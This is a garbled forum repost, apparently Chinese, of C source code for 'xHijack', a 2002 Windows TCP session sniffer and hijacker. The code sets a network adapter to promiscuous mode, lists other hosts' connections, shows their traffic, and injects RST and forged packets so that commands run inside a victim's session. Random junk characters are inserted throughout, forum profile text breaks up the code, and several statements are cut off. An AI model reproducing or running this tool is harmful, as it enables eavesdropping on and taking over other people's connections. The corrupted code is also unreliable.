) \3 D" V* Q6 C  g_dwCtrlConn = 0;
6 N9 A; @% l9 Z. q( X  g_pCurrCtrlConn = NULL;
+ a5 `  ?( M: o" r' s& x  g_dwAction = ACTION_NONE; & H' ~3 O! _/ m& h6 A; Q
} : E# b. c3 z8 V  F( r# d9 x) f- [) ?

# D5 x) e% J$ S% T9 n//
- C  j, t/ K% @8 i7 o4 ^& b) l//功能:处理Ctrl+C和Ctrl+Break事件 ) d: X# k& d& o0 P# i
//
% H5 x4 y' B9 q, ZBOOL WINAPI CtrlEvent(DWORD dwCtrlType) , N, O% q0 p; @1 O( l8 _3 w
{ 3 S/ ~; R' _4 z5 H& F: x* @: Y
  switch(dwCtrlType) 8 Z' x; {6 d' y1 v
  { 9 }, b1 c3 T( \1 O/ d
    case CTRL_BREAK_EVENT: 8 L+ c  m' b1 s
      //reset action all flag ; X/ `+ |* ~. b6 M. m* K9 n
      ResetActionAllFlag(); / }. L% X% t- G' @4 P) i' v: w
      break; ( Y$ d0 E% `1 F$ {& j6 S
    case CTRL_C_EVENT: - @' L. ]6 Z, |4 Q# S
      //terminate all thread & G9 L0 `9 o& F2 P# o! `" r1 m
      TerminateThread(g_hThread[0], 0);
; i/ d5 B/ Y+ p" L) K( O- W5 M      TerminateThread(g_hThread[1], 0); 5 a( @, F( L; o' p. B! y% ~
      TerminateThread(g_hThread[2], 0);
" L7 J+ n* S9 U; q  q4 W      TerminateThread(g_hThread[3], 0);
7 ]% f* |% B# t& J/ R6 g      break;
7 h3 F9 |2 C; X7 d) o    default: + \1 I6 K( D+ C; [9 Z+ c# ?/ J) P$ W
      break;
! q( p; O) @( N6 }  } " c( i. e7 |. y! v" C- `
  return TRUE;
7 i# A2 V; h# ^4 f! f7 r} , ]. A' B6 M6 [" j
" s8 l0 H0 d; v
//
% E3 P; x2 K, h2 g& ^//功能:处理用户输入
! T/ I" t, ?, W//
  z* _/ t) G9 XDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
* a5 ?9 w7 k" q- t# b" u2 a# S{
  J: E+ n) b* |  DWORD  i; ( m- X  `/ ?% n  j
  char  szBuff[16]; 0 [; q  d2 ?' \3 Y( I
1 E. Y$ K) s9 S
  *lpCommandPos = 0;
4 ]7 k( F5 Z, h% f  Q0 y: Q  for(i=0; i<15, i代码比较乱 , E) u, O+ d8 B
//
! Q& q4 T* n. T% [/ f$ jDWORD WINAPI InterfaceThread(LPVOID lp)
  o$ Z& i8 y; z  t{ * C4 D! B. |( K7 q
  char  szHelp[] =  "l\t\t<-- List all connections\n" # c4 y/ ~; ?3 `
            "r x\t\t<-- Reset the number x connection\n" , j/ I- b8 w, [# i3 B! \; R. d
            "w x\t\t<-- Watch the number x connection\n" 7 D; e0 \% B5 l* b- k+ K0 a
            "h x command\t<-- Hijack the number x connection to execute command\n"   h9 K) ]/ @3 ?3 v, f
            "[Note]\n" ) T+ c- p% J9 C/ b8 p
            "Ctrl+Break to clear all action\n" * o6 K- n7 i' w8 s. P
            "Ctrl+C to exit\n";
8 l3 Y: [+ O; r  Q3 ^  char  szPrompt[] = "\nxHijack>";
1 N% q; ]+ g) T9 w  char  szBuffer[128];
( W9 C; S& D4 O) X8 q  DWORD  dwPos;
* ]' v) I( p" N/ @/ ~# X. z  W  PCONNINFO  pTmp;
$ M4 n" C; y7 x, K0 D
+ N9 i0 _( Z* I8 u- n6 g, g" Q  while(1)
* `$ m* t& P# ^3 c1 |  {
+ n3 n3 G- u- R, W9 t1 X2 w    gets(szBuffer);//不考虑buffer overflow 0 x  K4 F) y9 P
    switch(szBuffer[0]) , s  h) R- H0 Q4 u8 m
    {
; w  u% l4 i% R$ G( s6 f: k$ @      case 'l': / `) K0 f+ b2 q3 e
      case 'L':
( E1 `- }% g5 ]& k3 I1 k/ r        ListAllConnection(); 5 h8 n: q8 x* A  d% m9 l
        break; # ^- S9 v& t# {1 f1 ~
      case 'r':
& G8 }3 @* O. m8 K: ~      case 'R': 6 ~9 w: _4 y+ l3 ?6 q  W
        if(strlen(szBuffer) >2)
/ w) e2 h2 r9 f        { 7 t" g9 X3 J* y1 _& r$ b5 ~
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); ' G- o3 z+ }8 W
          g_dwAction = ACTION_RESET;   W8 G+ k! U4 E6 ]$ U
        }
5 }6 F! H. C$ ?1 M. \# @        else printf("%s", szHelp);
+ e9 d3 Y3 V6 O# n) _3 l# X3 w7 p        break;
" C3 H1 @3 T( l# p; x      case 'w':
5 x4 r' @. e$ X+ z/ j; I1 l! L      case 'W':
3 l+ o; h8 j9 C" i: x        if(strlen(szBuffer) > 2) . Q5 Z' B5 g& F, W: s6 U4 D% l7 o7 n* C7 Y
        { & _# t* z$ G7 Q3 }( c8 x/ Y
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); : Y4 w8 J9 J. }& i. S
          g_dwAction = ACTION_WATCH; 0 y* E! |' e5 H  z6 T6 q6 Y
        } 9 ~0 l" _! O2 A) h& v
        else printf("%s", szHelp);
2 j& T4 Y: p# ~* ]1 g        break; 5 t. L+ {  f  a6 n& ]$ f& |/ _% s
      case 'h':
, Q# W9 n" D" T! K' k      case 'H'://h 1 xxx + L2 S. a+ o! {. x; o9 Z
        if(strlen(szBuffer) > 5) - U, s+ A/ Z0 x0 ]0 \5 v5 K
        {
! D; J1 d9 W& o  m% a$ r0 {2 B          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
: o& o% }6 n% R% M- J          //如果command第一个字符是'或"
3 F6 H! O* {% U, z# a5 T; p- `: O8 h          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
0 ]1 C6 z/ i& E5 N$ o; T          { % O! _& F8 q0 ~* z4 v/ o; g
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
, K- `4 W) `- Q& j# U+ w            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" 6 i1 I' ?. g- w# p/ \9 W
          } ; @0 L% E2 u. I- k$ \! T  V7 n
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); % }9 Y8 a- S3 H3 z- @" i2 r9 r
          strcat(g_szCommand, "\x0D\x0A");
; @4 q% T& }/ q+ I- g          g_dwAction = ACTION_HIJACK;
. J9 J( N7 s1 n: I/ R! g0 G        } $ A8 p+ Q1 l" a1 _
        else printf("%s", szHelp);
" m2 H2 [3 I+ E9 J        break;
4 `! @+ `5 @4 v      default:
% f' X) n1 T# C  u" i        printf("%s", szHelp); ; j' X2 x3 U3 f
        break; 8 L5 [! X3 f' p) |8 m
    }//end of switch
$ b) R8 j5 P+ E    //find the specify ident's struct point % L4 q3 U& `5 C9 ^( X1 e+ |" z
    if( (g_dwCtrlConn) && (g_dwAction) )
7 l3 }+ a  S- U% V. P3 b; F    { + s( }. ?1 e0 ]$ P
      g_pCurrCtrlConn = NULL; # t  D! K* z) O- T0 [3 @  V
      pTmp = g_pConnHead; % J% N0 w$ Z  [
      while(pTmp)
" W1 C4 e! a% z) c2 V3 w3 G      {
% @; l- i3 V2 z1 t        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
5 U6 _4 b5 D" p3 _' Z        { 9 s& \2 d! B. y, A- \. T
          g_pCurrCtrlConn = pTmp; - C- u3 Z0 \% Q
          break; 8 i3 l% J/ l" n6 D+ r
        }
8 u3 v9 K+ n5 ~; a( @3 q) C        pTmp = pTmp->Next;
; g; x# K" F! e' g1 c      }
/ P& J# D& p$ ]7 P! @$ l) A      if(!g_pCurrCtrlConn)
$ y7 R/ g% u% w7 e      { ! V9 B( C& ]) v$ p/ w
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
0 M2 N" p; q0 o$ F        //reset action all flag 2 Z+ ^0 T. Y2 K4 Y9 u8 R# ?9 w
        ResetActionAllFlag();      
: G" _0 i0 E0 c$ N( q: L; a; E      }
7 V2 L1 S/ @4 b/ j6 R& D    } * ^3 p; J1 H  F# q3 C2 @. L5 k9 q
    if(!g_dwCtrlConn) ResetActionAllFlag(); 3 b) `6 ]# m; o$ f7 I
    //显示当前用户所期望的动作 8 x0 ~+ B3 b6 h, p2 [3 b  T+ w8 A
    printf("\nCurrentAction:"); , m2 ~* P$ n# ^0 v# C
    switch(g_dwAction) " C! }% N9 B( o2 W5 T& h
    {
8 N3 ~) |: S* v' A. e8 i% ^# z      case ACTION_WATCH:
5 Y2 ?/ }9 b6 K) v9 ^$ D        printf("ACTION_WATCH"); ! J% F$ |, M/ u: t) c
        break;
0 k# c, n- }& \      case ACTION_RESET:
) f/ _- R; Z4 I/ M' I        printf("ACTION_RESET");
) }1 X7 s: W# v" T7 U        break;
0 a8 V4 ~: ~* }      case ACTION_HIJACK: % X6 q4 Z$ b8 h7 c, M; S+ k2 ]
        printf("ACTION_HIJACK");
# n, D! F* n% r- D: H3 M" J        break;
* H3 b/ E/ L3 Z" @- e$ f      default:
4 T8 Z6 p) B4 X        printf("ACTION_NONE"); * J  _0 h4 D" l# U/ @
        break; . I) I( t) C0 l/ X+ S
    } 5 ?! y; p7 Q$ r: `% Z/ w! |
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); " Q; H% D# B; |; B" y
  }//enf of while " a# i% P9 F& r/ ?: D
  return 0;
# h1 w0 F! |" |}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// ( {% i& K7 w' U' b5 e- ]% U7 l! {//功能:列出当前所有连接 6 n# H' H9 i; q$ d1 V- I // 4 M) V' l) n& `% ~ void ListAllConnection() + g4 c0 V( O1 t% g& N& ]/ O{ % m/ N2 N$ m1 V: V" t( c9 M PCONNINFO pTmp; : ~9 i' Z! N# o. y( h$ K$ \% L SOCKADDR_IN saDest, saSource; - c5 e+ P: s0 A: t+ Z pTmp = g_pConnHead; 2 Q1 n1 t/ b; f; _' o while(pTmp) . g) h3 q# f2 X; C { 0 R: Q1 n/ u. A6 j( q2 k if(pTmp->bActive) 3 a' i3 P2 @' e' u9 j8 p { 5 ~- N& f" L4 r& {9 C5 ]/ n saSource.sin_addr.s_addr = pTmp->dwServerIP; + v! _' w* ^5 v0 e# }; w4 x4 K5 k, h; P saDest.sin_addr.s_addr = pTmp->dwClientIP; , `* e; \6 ^2 u+ [3 \5 ]$ r printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ; E+ y! k" {% O N+ E+ [ ntohs(pTmp->uServerPort)); - s. O* D# j. F) {/ W" \) F printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); ) i4 G8 |, e9 N% X0 c; e) x } 4 t7 H1 d+ D) [% g% j N5 R pTmp = pTmp->Next; 8 G3 I3 ?9 D1 Z' L6 z: U } . _9 d3 g7 A; Z. P0 ?3 Y} , J/ C- H1 C) R+ d$ T ! k) v' M" ~2 a) u3 f// / {; a) F) x- A9 R. ^' ^ //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 K" j0 `! ]% [( g9 A' s7 T. K$ D/ ~ // & N* o5 j% Q* H5 J6 cLPADAPTER InitAdapter() ) Q( M$ r/ M. \+ h4 Q; l{ / z$ i% L, H2 c LPADAPTER lpAdapter; ; S0 ?4 _+ K$ B& E static char AdapterList[Max_Num_Adapter][1024]; 8 G/ G8 j) k, b1 U& Q char szSelectAdapterName[512]; ( Y9 X; U, j2 s) ]& ~" F ~ WCHAR AdapterName[2048]; & e" i2 M2 M! q1 |) |1 C WCHAR *temp,*temp1; 2 I4 |2 I. M" s ULONG AdapterLength = 1024; + B# k7 |, x3 \& a int iAdapterNum = 0; 1 d% Y0 S( r" `- |6 L9 ? int iRetCode, i; : [3 Y+ h+ m, V: c) o2 R9 I" c$ m int iAdapter = 0; ' O4 G$ D8 T) D ULONG ulLen = 0; 7 T# O% {) P) S9 c' {2 y# S" D% } DWORD dwRet; & n8 d2 I* c3 D- p& o9 S PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; : | P" j. a/ Q5 F$ \ PIP_ADDR_STRING pIPAddr; 9 r6 w* c" H$ X; z ! J. e: x0 K( _% \# Z //Get The list of Adapter 9 C$ G: y; d6 o1 p7 j if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) ) O2 q* j2 ]. x3 X$ s+ I( W { ! A/ d: s9 @8 ]: I" i printf("Unable to retrieve the list of the adapters!\n"); , y1 M' X0 x; n& X2 k( }. Y3 K0 l return 0; 1 v0 @9 c# P# {! Z+ F } 6 B+ T2 m# Q9 n) ^( N+ Z temp = temp1 = AdapterName; 1 z1 L; B: o- G' F( E& O p; m i = 0; & z1 ?/ k* ~+ W% K l# D8 l& z- u while ((*temp != '\0')||(*(temp-1) != '\0')) 1 O1 P% a+ [" l0 a1 | { 2 P: d& c) e! v; T+ Z if (*temp == '\0') , ?8 H# u2 a2 f! I& E { 2 C) g& n' d! E% t$ n, R- M memcpy(AdapterList,temp1,(temp-temp1)*2); 9 o* r' i. U1 x& e* t0 X printf("%d - %S\n", i+1, AdapterList); 5 N# a' f: t+ p7 p3 H5 j temp1=temp+1; , o5 r, s+ ^% y4 g3 O% c- ^ i++; ! s* C9 }3 d" g5 S, N& {9 f! B8 w2 | } . D6 d2 u5 K& h7 [ temp++; ! R. @1 e+ f6 h9 F+ g } + R2 J7 ^* D/ R) X/ l0 [9 A2 S% h //choose adapter $ Y p+ I, H- P while((iAdapter <= 0) || (iAdapter > i)) , z6 }6 z1 H; J9 k$ }" h { % V9 R9 Z: O k) u printf("\nPlease choose your Adapter:"); 6 Q& w( Z( f' I ^0 k# F scanf("%1d", &iAdapter); * l; f& @+ d2 G! M- F } % h9 n) D% n/ G8 h0 o) U# o printf("\n"); - l4 G" ^* S! ` //---------------------------------------------// 5 f# K/ \- w" H) K' R- R //这里调用iphlpapi来取得本地ip_addr和mac_addr % v! H R) T0 H( z" l4 ?! W sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 3 n5 B8 q M: g0 h; S dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! G y6 o, f+ H; u$ M0 @: X2 ?* f F if(dwRet != ERROR_BUFFER_OVERFLOW) ; E* l# k' m; |% O( J7 E { ) q; [. z+ W! i. E3 |" L printf("GetAdapterInfo error:%d\n", GetLastError()); 8 @6 }0 E, x3 J; ]- V. g return 0; ) _0 \9 |* k | } 2 h g. w' H' ?& C7 k0 T pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); - \3 T' h5 w" Q$ } if(!pAdapterInfo) 7 |$ i! E E1 R+ l: p3 Z { 8 T2 a8 \- T( k+ p: T printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 6 V9 ?/ U3 I- b( \% \4 z+ ~9 C return 0; ) `$ }4 P- y! c- p1 `7 r }/ d } - t6 {$ C2 \: V7 K+ c* F dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); + k3 K3 R( K3 I if(dwRet != ERROR_SUCCESS) % v' [% l8 e% Z y { 3 z7 C2 q$ p+ Y0 r A printf("GetAdapterInfo error:%d\n", GetLastError()); 8 P* H+ G' y$ {# c0 } return 0; * K! ^( u9 X/ m: d* {& Y3 P } . w4 C% b5 ?8 W- W( D pTmp = pAdapterInfo; " |1 O! t, t2 h+ d while(pTmp) " q" n3 V% [& O* @% H { $ q+ ]/ u1 s0 K) T* b4 l/ x; D' e //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 4 ~, `$ h6 c6 |5 G* _5 f$ R) e1 D3 o { 1 [, z# M1 ]7 B# L" e //found it,get own adapter mac address ; e* l4 g8 F& O2 L8 u- f memcpy(g_szOwnMAC, pTmp->Address, 6); 8 L7 h6 B5 t' ~' @: S0 A; t8 S //get ip address 4 U/ }" M F+ B! c! e: y% E pIPAddr = &pTmp->IpAddressList; $ G2 i- g3 J) X! z1 V while(pIPAddr) ( l. U+ ^% c# m& o. |, x: J' M { 1 o) M g7 i X- B8 d; G g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ' T: i* z/ g- c: @( q pIPAddr = pIPAddr->Next; , @! T- }; ^% S0 ~ if(g_TotalIP >= Max_Num_IPAddr) break; # ]9 i6 N0 B0 [9 U) d7 i* G- G e# j } * N t8 c" h v& M break; 3 `2 s" v6 T: ^/ F } * s. N% N, T3 A! J8 l% U; y pTmp = pTmp->Next; - U9 N# Z1 c Q. w8 j+ g" o9 z2 p8 y1 k } 5 [, q1 b1 D3 x1 |, n5 a free(pAdapterInfo); ) t$ E/ o0 T6 J2 ~ //not found,return zero : ^" A( k! p# ~% v if( (!pTmp) || (!g_TotalIP) ) return 0; 8 g, w5 q( A1 c+ e% ^- g8 a //---------------------------------------------// 2 \# G' `) W( u! U( h( K6 X `/ x //open adapter $ t2 y# |2 H4 e' c! _9 G lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); 4 o# U: X H; J" u if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ; g; t6 h! s* q% z! ~ ]$ C { ; A$ s$ N7 ~! `8 v( K) k iRetCode = GetLastError(); + z. l% Z8 s0 ^! _4 V$ F- B printf("Unable to open the driver, Error Code : %lx\n", iRetCode); 0 W; ^' U4 X0 v; `) |$ M+ Q return 0; 3 f" L& F# K% i, _3 v( ? } ( P* ?* ?4 b; _' Z, B9 G+ V- G // set the network adapter in promiscuous mod 4 e% Q# P- n) x r t, Q if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 7 p9 m3 N6 ~; e4 F% V7 s { " E6 z1 T- R: }# Z7 R) F/ _6 E9 Q printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); ! G: C( b- o6 |( s2 C2 F& s" f if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ; }6 \1 _# i/ B- W k { 8 T7 N* Y' j0 \4 P r printf("Unable to set ALL_LOCAL mode!\n"); 3 W' Y5 F# {8 b& C% g" } return 0; $ C# M5 L* A7 g I+ w } " Y0 V# _0 K* ?0 N% j6 B5 p& v } * K% B. `0 t& R- F1 H // set a 512K buffer in the driver / U! U% o2 L) B( D5 O9 s/ L' ^ if(PacketSetBuff(lpAdapter, 512000) == FALSE) & d1 e( O; U% A% A6 h } { ! `4 I" T6 z+ n$ z$ \- |0 U) h printf("Unable to set the kernel buffer!\n"); $ t. E0 D$ c( M* d return 0; 5 z$ U H+ r C: Q } ( u+ {. ]+ `0 g" Z2 n // set a 1 second read timeout ) B5 g8 ? U; o0 Q7 M& k: Q* { if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) $ O7 u2 E9 Y- T B printf("Warning: unable to set the read tiemout!\n"); * g( F9 Q5 Q$ \8 }# J* m2 y if(PacketSetNumWrites(lpAdapter, 1) == FALSE) , W9 J. N" Q# E printf("warning: Unable to send more than one packet in a single write!\n"); 7 d( T* b- k& B( V) Y9 u //设置发送的packet 7 j( {7 s+ w. v4 \' c& }0 @3 N! W9 H& l g_lpSendPacket = PacketAllocatePacket(); 2 [# y( ^! [6 q0 c if(g_lpSendPacket == NULL) 4 q0 `) Z2 Q+ g { ; K7 W4 t# o* U& t printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); ( V9 C3 W$ P- z% A return 0; * |3 Z* [8 W2 l; {4 L } 4 O9 Z( O# d1 r' K# n ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); - i3 Y) y( }# b+ C5 S, T! [ PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); : U0 c, d4 x6 b% p' t, Y4 A9 @( C1 w1 h return lpAdapter; 1 }* j/ w. W& X0 K } ( j; S- D, r1 r Q* M9 O( i ; ]) U, J% X1 K& } //功能:帮助信息 # t6 p! X9 ?: Z8 H* z0 q3 Avoid usage() * [' v! w3 Y6 ]! e" e { ' z/ I$ U: W6 L/ x7 W* m, x' J9 l printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" # {% @8 o; q) ?% q' f) a7 m- o "By eyas 2002/8/19\n" 7 K: p: ^ @+ u, x" C! @ "http://www.ey4s.org\n" 2 Z9 z# E4 Q0 ]2 q "Thanks to Refd0m and shotgun\n\n" 2 b3 Z& n' S& X3 z "Usage: xHijack ServerSide ClientSide\n\n"); 6 s/ h2 _0 s l/ U} , Q% r6 q- e! J. \& ~6 l & `5 a) z* @3 K8 o// ( L# }, x9 P: M9 ^5 }+ a//功能:显示数据包的一些详细信息 ( j# R4 [4 t0 \/ W& s2 Y// 4 f! I* w. t' }VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 1 G& f G# `; n: G" s5 @" {{ 5 O& v9 I/ \8 H0 W8 A2 `# { SOCKADDR_IN saDest, saSrc; + v& h, z$ |- `+ L; i unsigned char FlagMask; : P) z& f4 W+ I7 D( t0 r int i; 3 k2 F6 o6 e/ l" B% o , l4 i1 i% w5 L$ Z/ H: C: k saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; # u8 v- i. D3 A) v3 u* n4 [, F saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; & j, ?! l& I8 C4 {3 d; \2 C printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); + P" U+ d4 { v# o; X; r+ j printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ! _3 a$ E6 I& g( ~6 ] ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); ! G5 r1 l8 |6 C2 c3 L) d# G //display TCP flag ) S8 y( m2 l ~6 V& e3 E( o, K0 A/ c# X for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) ! o) }! O4 ?" A. i0 w( f% v: ? { ; F* _+ u6 \5 e' V5 V- H# ^5 ^& ] if((pTCPPacket->tcphdr.th_flag) & FlagMask) 1 w! f: A7 n2 x% Q$ b, G printf("%c", g_szTcpFlag); " d* o9 I. n- P# q else printf("-"); ! X: S! P2 Q/ n' `- n2 x } , W @1 Y: v5 p printf("\n"); " L- D" o4 N1 ?$ f //如有需要,可显示更多详细的信息 # U4 W; S3 A/ x/ m1 s* C if(bDetail) ' {; P# i4 e- O0 g! `0 u" L printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ) L, j( B( p$ l$ _} . V! F/ l8 W3 _ . r3 v2 [. Y! H5 W& m5 y% U1 _// 2 p) G& \6 e. [: J//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 2 o: U9 T/ D. a; ~ // + H( h& W: R& X) A6 G ^ DWORD WINAPI AnalysePacketsThread(LPVOID lp) ) {, L' g" l* O" m% w{ 3 i' V: Q$ G& t! m+ I7 { ULONG ulBytesReceived; $ ?6 M( H# t8 _7 Q% [5 G/ N USHORT usDataLen; . `- F- g2 n/ [/ H' O, T //USHORT usIPHeadLen, usTCPHeadLen; 5 Q8 F9 @' k' y# ?) W- I- _ char *buf; q# g/ i6 f2 ^- I) [ u_int off, i; % }7 n! {2 M3 f' Z. h+ O PTCPPACKET pTCPPacket; 4 G) m5 y- A' E; c struct bpf_hdr *hdr; 5 x$ O+ K$ J/ \/ R LPPACKET lpRecvPacket; 0 I5 `0 l9 Y' ~' x7 s& T3 x char szPacketBuf[256000], *pStr; ! M1 }$ b: X8 t+ `7 p, y$ Z+ C, X- u BOOL bDeleteNode, bAddNew; ( {/ n9 ~2 L. n0 G DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 # E* u P; Q1 E- O/ [+ s3 ?' P BOOL bClientToServer;//数据包是否从客户端发送到服务器端 - f) v3 f- l! I3 C2 J. D1 M2 y8 b8 G5 R0 [" y, J& {4 ]( I //设置接收的packet 6 A3 v4 k' R$ e lpRecvPacket = PacketAllocatePacket(); ) q' Y3 f Y- z. Y) p& { if(lpRecvPacket == NULL) 5 {$ e: a: k8 }- N { 0 n+ X- l) L5 b/ C8 z printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 4 H2 _- A' z' k1 n return 0; & G8 }0 Q2 i$ u! W2 ?$ a; a } 9 M1 n/ v4 k( e6 G ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 3 y5 M9 b6 ^) S/ w5 ]+ m8 Y PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); ( }' c. ~: V3 S" M while(1) # u6 U1 x! p; L3 o) R# K { 8 ?8 E4 V1 m% X( x4 @7 ~ // capture the packets $ f' P, D! I: f3 l& n if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) : s/ `3 z; Z. p+ X { 1 E4 I0 w% O. n& O T printf("Error: PacketReceivePacket failed.\n"); * u0 U, e" {% k. N break; - P7 m5 K5 S# }: B: X } # s1 \8 t! W _9 M8 y3 u8 r ulBytesReceived = lpRecvPacket->ulBytesReceived; 6 s% g' Y( h9 a7 @* N* L6 c, R) p buf = lpRecvPacket->Buffer; / W8 z4 V! ?" m# ~ off = 0; % O: N! w% x6 B$ w. c while(off < ulBytesReceived) : n, j2 V5 Y( w8 |) G% U { $ m$ _6 x% `: v. J6 G hdr = (struct bpf_hdr *)(buf + off); 6 c1 V j7 x6 @) b4 N" T4 G: y off += hdr->bh_hdrlen; 7 ?3 B3 j6 W3 A pTCPPacket = (PTCPPACKET)(buf + off); : _4 n4 g+ l/ G U8 H# S off = Packet_WORDALIGN(off + hdr->bh_caplen); : k; p% Y# \, d0 k //不需要处理自己发出的包(转发或本机发送的) # k5 ^: v# U) ?, u* [2 p5 O if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 1 x+ d$ U5 ?4 q/ q //检查是否IP包 . p( K+ ^* Q# v: b6 Y if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; , r- v5 N8 s' h //检查是否TCP包 7 f9 M: e9 o' f7 h0 [& x: m$ B if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; ) O7 }. R0 p- E) @: A4 k# _+ U //也不处理DestIP是自己的包 2 ~: y+ e' S* t2 i" }% u- _ for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
2 k% R0 g( z- v6 T  a            //reset action flag 0 y! _& y. N: v2 f9 I* P  S3 v
            ResetActionAllFlag(); : |$ Q' L% R6 C; N' u9 W) B7 F1 }8 i; |
          } / H1 R4 e' s* f7 n
          //start hijack % b# t0 _* r( p- S7 }" _% n
          else if(g_dwAction == ACTION_HIJACK)
7 N' T/ Y8 \+ T) I          {
+ d: V/ \$ O( w3 M8 x' J# z            //send rst packet to client
' a/ t- X' z* W. K: V3 i            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
& ^0 d6 F1 O( F            //send hijack packet to client
) [0 q, Z$ g  i1 q" z+ W" {9 t. ?! W9 ?            SendHiJackPacket(pTCPPacket);
. o2 T/ ?9 C+ v' L  W            //reset action flag
/ f- ~# V6 d9 n+ d  R% x            ResetActionAllFlag();
7 u4 T; i. l  f8 E7 \, n& g          } ) \2 T; l! s4 [2 y! n
        }
$ k* ]6 Q" A! t( j" n        //show the tcp data ( y6 ~6 g6 L4 D4 t! I6 j
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) . U" ~! k% |2 N# b1 `
        { 1 W* Q$ v/ @& t' `9 ^" ?! Q) N
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
/ f1 b/ B1 }+ s$ ^2 A          //暂不考虑IP、TCP头不是20字节的情况
$ C% J5 L8 H" N  I, G% b: l( d          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; . Z" W. v, B" O6 A( x
          pStr = (char *)pTCPPacket + 54; # ?' C9 S4 D% @' m
          for(i=0; i        } % h% r  m1 }8 \  |# Q
      }
, g8 T) A' ]' f      //debug output % M8 T% F" Q0 P% O: d
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); % o$ h6 b0 v; q$ B
    }//end of analyse packets while
" _7 K4 t. \) h* T- ]- ^( ?  }//end of recv packets while
' t$ L* y+ V0 H2 G2 I6 _  PacketFreePacket(lpRecvPacket);
, j/ N+ m7 d" s/ o8 X  return 0; + R4 U! y6 u$ u! k1 i) t( E
} 3 G( S8 `3 B2 B

3 A, H5 h; x3 v% x
! \) H' Q  ?4 D  g: M* G//
$ q. j* G1 G5 l) n9 N* H//功能:操作记录所有连接信息的单向链表
( l* Q& O' k" w5 l9 }# Z// , L/ @( ]7 f# R1 j$ o+ H
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
5 ]9 G+ L$ g6 q& s  W& |            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) + ]1 H* G! ?/ K' p9 Y
{
/ X$ ^1 h9 o! I$ k8 U  PCONNINFO  pNew, pTmp; & F! h; S" w5 r8 m. v
, Z9 `2 E( A  |; S& l
  pTmp = g_pConnHead;
